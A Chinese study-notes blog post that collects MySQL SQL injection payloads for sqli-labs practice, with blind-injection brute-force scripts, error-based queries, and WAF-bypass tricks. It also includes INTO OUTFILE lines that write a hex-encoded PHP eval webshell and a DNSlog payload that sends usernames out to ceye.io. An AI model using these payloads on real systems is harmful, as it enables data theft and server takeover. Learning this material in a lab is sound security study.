follow my dream

数据库相关注入语句的收集和学习

字数统计: 2.5k阅读时长: 12 min
2020/04/23 Share

基本要求

数据库基础之数据库相关注入语句的收集和学习

1、收集网络上各种 sql 注入时使用的 payload 并理解其适用的环境(检测注入、利用注入)

2、记录 sqlmap 的检测和利用过程中使用的 payload(也算一种 payload 收集方式)

3、理解以上涉及的 sql 语句的意思,其中会涉及不同的数据库、不同注入场景,可以将学习的过程和收集的方式进行整理形成报告,关于 payload 的理解,其中会涉及之前学习的基础。

扩展学习:理解 sqlmap 自带 tamper 的原理,这里通常包含很多数据库的特性,从而实现 payload 变形啥的,用来绕过一些简单的安全检测

注入代码收集

主要是从刷题和前辈的资料中收集

盲注

布尔

个人感觉,布尔注入的关键是字符匹配

0x01截取
函数名 说明
mid 从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len)
substring(s,start,length) 从字符串 s 的 start 位置截取长度为 length 的子字符串
SUBSTRING_INDEX(s, delimiter, number) 返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 如果 number 是正数,返回第 number 个字符左边的字符串。 如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串。
left(s,n) 返回字符串 s 的前 n 个字符
right(s,n) 返回字符串 s 的后 n 个字符
0x02 编码
函数名 说明
hex() 字符串转换为16进制
unhex() 16进制转换为字符串
to_base64() 编码为base64字符串
from_base64() 按base64解码字符串
ord() 返回字符串 s 的第一个字符的 ASCII 码。
ascii() 返回字符串 s 的第一个字符的 ASCII 码。
char() 按ascii解码字符串
CONVERT(s USING cs) 函数将字符串 s 的字符集变成 cs,如utf-8 转 gbk
0x03正则匹配
  • select user() regexp '^[a-z]';

  • select user() like 'ro%'

0x04 简单脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""

def get_length(): #获取要查询的数据的长度
for n in range(1,100):
payload = "admin' and length(({0})) ={1} #".format(data_payload,n)
data = {"uname":payload,"passwd":"admin"}
res = requests.post(url,data=data)
if 'flag.jpg' in res.text:
print("……data length is :" + str(n))
return n

def get_data(data_length): #获取数据
global result
for i in range(1,data_length):
for char in chars:
payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))
#print(payload)
data = {"uname":payload,"passwd":"admin"}
res = requests.post(url,data=data)
if 'flag.jpg' in res.text: #根据返回图片的不同来判断字符正确与否
result += char
#print("…… data is :"+ result)
break


url = "http://localhost/useful/sqlilabs/Less-15/"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"


length = get_length() +1
get_data(length)
print(result)


延时

主要思想是利用if语句判断截取的字符是否正确。正确,执行延时.

例如If(ascii(substr(database(),1,1))>115,0,sleep(5))%23

0x01 sleep
1
2
3
4
5
6
7
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
1 row in set (5.00 sec)
0x02 benchmark()
1
2
3
4
5
6
7
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.00 sec)
0x03 笛卡尔积

笛卡尔积就是集合的乘法,而在数据库中,表的连接操作符合笛卡尔积

1
2
3
4
5
6
7
SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
+----------+
| count(*) |
+----------+
| 10419984 |
+----------+
1 row in set (2.58 sec)
0x04 GET_LOCK

需要两个终端使用。

1
2
3
4
#bash1
select get_lock(‘test’,1);
#bash2
select get_lock(‘test’,5);
0x05 rlike

其思路大概是对两个长字符串进行匹配。

1
2
3
4
5
6
7
mysql> select rpad('xz',200000,'bb')  rlike concat(repeat('xz',3333),'b');
+-------------------------------------------------------------+
| rpad('xz',200000,'bb') rlike concat(repeat('xz',3333),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (2.25 sec)

需注意的是rpad()中的length值不可过大,否则直接WARNING警告。

例如这个

1
2
3
4
5
6
7
mysql> select rpad('a',49999999999999999,'a') RLIKE concat(repeat('(a.*)+',40),'b');
+-----------------------------------------------------------------------+
| rpad('a',49999999999999999,'a') RLIKE concat(repeat('(a.*)+',40),'b') |
+-----------------------------------------------------------------------+
| NULL |
+-----------------------------------------------------------------------+
1 row in set, 1 warning (0.00 sec)
0x06 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import time
value =",0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result=""


print(len('emails,referers,uaggents,users'))
def get_length():#获取数据的长度
for n in range(1, 100):
payload = '''admin") and if((length(({0} ))={1}),sleep(4),1) #'''.format(data_payload, n)
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time
if use_time > 3:
print("...... data's length is :"+ str(n))
return n

def get_data(length):#获取数据
global result
for n in range(1,length):
for v in value:
payload = '''admin") and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #'''.format(data_payload,n,ord(v))
data = {"uname":payload,"passwd":"admin","submit":"submit"}
start_time = time.time()
requests.post(url,data=data)
end_time = time.time()
use_time = end_time - start_time
#
if use_time >4:
result += v
print("......"+result)



url = "http://localhost/useful/sqlilabs/Less-16/"

data_payload ="select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"

length = get_length() + 1
get_data(length)
print(".....data is :"+ result)

报错

0x01 floor():

获取mysql 版本信息

1
2
3
4
mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets

-> group by x;
ERROR 1062 (23000): Duplicate entry '1^^^5.7.26^^^' for key '<group_key>'

简化

1
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

当表被禁用

1
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2));

rand 被禁用

1
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2);
0x02 整形溢出报错

Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上

1
and (EXP(~(select * from(select version())a)));

这个很迷,在5.7无效

0x03 Xpath报错
  1. updatexml():对xml进行查询和修改

  2. extractvalue():对xml进行查询和修改

1
2
3
4
and updatexml(1,concat(0×3a,(version()),0×3a),1);

and (extractvalue(1, concat(0x5c,(select user()))));
and (extractvalue(1, concat(0x5c,(select version()))));
0x04 数据重复报错
1
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
0x05 有6种函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))

2333,但在mysql 5.7 还是无法使用。

宽字节注入

emm 原理大致相同,都是利用编码格式不同,混淆字符串 或者 利用waf自身的特性来绕过。

mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个
汉字(前一个 ascii 码大于 128 才能到汉字的范围)

  • %df 吃掉 \

  • 将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c
    给注释掉。

  • %EF%BF%BD    + \ 
    
    %EF%BF%BD%5C
    
    �\
    
    1

    http://localhost/useful/sqlilabs/Less-36/?id= -1%EF%BF%BD%27union%20select%201,user(),3--+
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16


    ----------
    ### 导入与导出

    #### 导入

    > 导入与上次的报告[https://xzlxr.github.io/2020/03/30/系统表学习/](https://xzlxr.github.io/2020/03/30/系统表学习/)差别不大,新增加判断sql语句

    ##### 0x01条件:

    * 操作文件路径满足`secure_file_priv`条件
    * 当前数据库用户拥有file的权限

    > ```sql
    > if(select count(*) frommysql.user)>0,true,flase)
  • 文件大小小于max_allowed_packet。load_file()函数受到这个值的限制。

  • 有文件的完整路径

0x02路径:

https://www.cnblogs.com/lcamry/p/5729087.html

语句:

1
union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

导出

0x01条件
  • 操作文件路径满足secure_file_priv条件
  • 当前数据库用户拥有file的权限
  • 有文件的完整路径

除了上次总结的四种方法

  • outfile
  • dumpfile
  • system
  • 利用日志来实现文件读写
0x02 其他方法

还可以利用 outfile 的参数

1
2
?id=')) union select null,null,1 into outfile "D:\\phpstudy_pro\\WWW\\2.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b27636d64275d293f3e  --+

1
?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\shell.php" fields terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d29203f3e 

预处理

可以理解为可以传参的自定义函数,将sql语句模板化,从而到达一次编译、多次运行。

1
2
3
4
5
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE sqla from @sql; //预定义SQL语句
EXECUTE sqla; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
1
?inject=';SET @sql=concat("s","elect"," * from`words`");PREPARE sqla from @sql;EXECUTE sqla;#

DNSlog注入

原理图,来源 https://www.cnblogs.com/xhds/p/12322839.html

条件 :

  • secure_file_priv
  • window

DNS log 平台:

http://ceye.io/records/dns

http://www.dnslog.cn/

同时也不限制于sql注入,还可以用于无反显的xss,ssrf等。

常见的payload:

1
' and load_file(concat('\\\\',(select hex(concat(username,user())) from users limit 0,1),'.xxxxxx.ceye.io\\abc'))--+    
result:

Dumbroot@localhost

当然前提是语句执行争取,符合load_file()语法,避免@ ~等特殊符号

绕过

空格

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB(垂直)
%a0
/**/ 注释符
括号 select(user())from dual where(1=1)and(2=2)
/*!*/ 也可以在其中添加语句
+

关键字

  • 大小写混淆
  • /*!*/
  • 双写
  • 16进制

HPP -HTTP Parameter Pollution

利用服务器的不同特性来绕过waf

web服务器 参数获取函数 获取的参数
PHP/APACHE $GET(‘V’) LAST
JSP/Tomcat Request.getParameter(“v”) First
Perl(CGI)/apache Param(“par”) First
Python/apache getvalue(“par”) ALL(first)
ASP/IIS Request.QueryString(“par”) ALL(comma-delimited string mf)

https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf

隐式转换

mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select '1a2b3' = 1;
+-------------+
| '1a2b3' = 1 |
+-------------+
| 1 |
+-------------+
1 row in set, 1 warning (0.00 sec)

mysql> select 'a1b2c3' = 0;
+--------------+
| 'a1b2c3' = 0 |
+--------------+
| 1 |
+--------------+
1 row in set, 1 warning (0.00 sec)

mssql

https://blog.csdn.net/cquptykj/article/details/53244857

其他

此外 ,根据sql语句的执行,还可以在http头注入,二次注入等等。

参考

常见报错注入

延时注入

经典的MySQL Duplicate entry报错注入

知识星球上前辈写的sqlmap-tamper

sqli-labs书

FreeBuf:sqlmap-tamper

DNSlog注入1

DNSlog注入2

SQL预处理

CATALOG
  1. 1. 基本要求
    1. 1.1. 数据库基础之数据库相关注入语句的收集和学习
    2. 1.2. 注入代码收集
      1. 1.2.1. 盲注
        1. 1.2.1.1. 布尔
          1. 1.2.1.1.1. 0x01截取
          2. 1.2.1.1.2. 0x02 编码
          3. 1.2.1.1.3. 0x03正则匹配
          4. 1.2.1.1.4. 0x04 简单脚本
        2. 1.2.1.2. 延时
          1. 1.2.1.2.1. 0x01 sleep
          2. 1.2.1.2.2. 0x02 benchmark()
          3. 1.2.1.2.3. 0x03 笛卡尔积
          4. 1.2.1.2.4. 0x04 GET_LOCK
          5. 1.2.1.2.5. 0x05 rlike
          6. 1.2.1.2.6. 0x06 脚本
        3. 1.2.1.3. 报错
          1. 1.2.1.3.1. 0x01 floor():
          2. 1.2.1.3.2. 0x02 整形溢出报错
          3. 1.2.1.3.3. 0x03 Xpath报错
          4. 1.2.1.3.4. 0x04 数据重复报错
          5. 1.2.1.3.5. 0x05 有6种函数
      2. 1.2.2. 宽字节注入
        1. 1.2.2.0.1. 0x02路径:
      3. 1.2.2.1. 语句:
      4. 1.2.2.2. 导出
        1. 1.2.2.2.1. 0x01条件
        2. 1.2.2.2.2. 0x02 其他方法
    3. 1.2.3. 预处理
    4. 1.2.4. DNSlog注入
      1. 1.2.4.1. DNS log 平台:
      2. 1.2.4.2. 常见的payload:
        1. 1.2.4.2.1. result:
    5. 1.2.5. 绕过
      1. 1.2.5.1. 空格
      2. 1.2.5.2. 关键字
    6. 1.2.6. HPP -HTTP Parameter Pollution
    7. 1.2.7. 隐式转换
      1. 1.2.7.1. mysql
      2. 1.2.7.2. mssql
    8. 1.2.8. 其他
  2. 1.3. 参考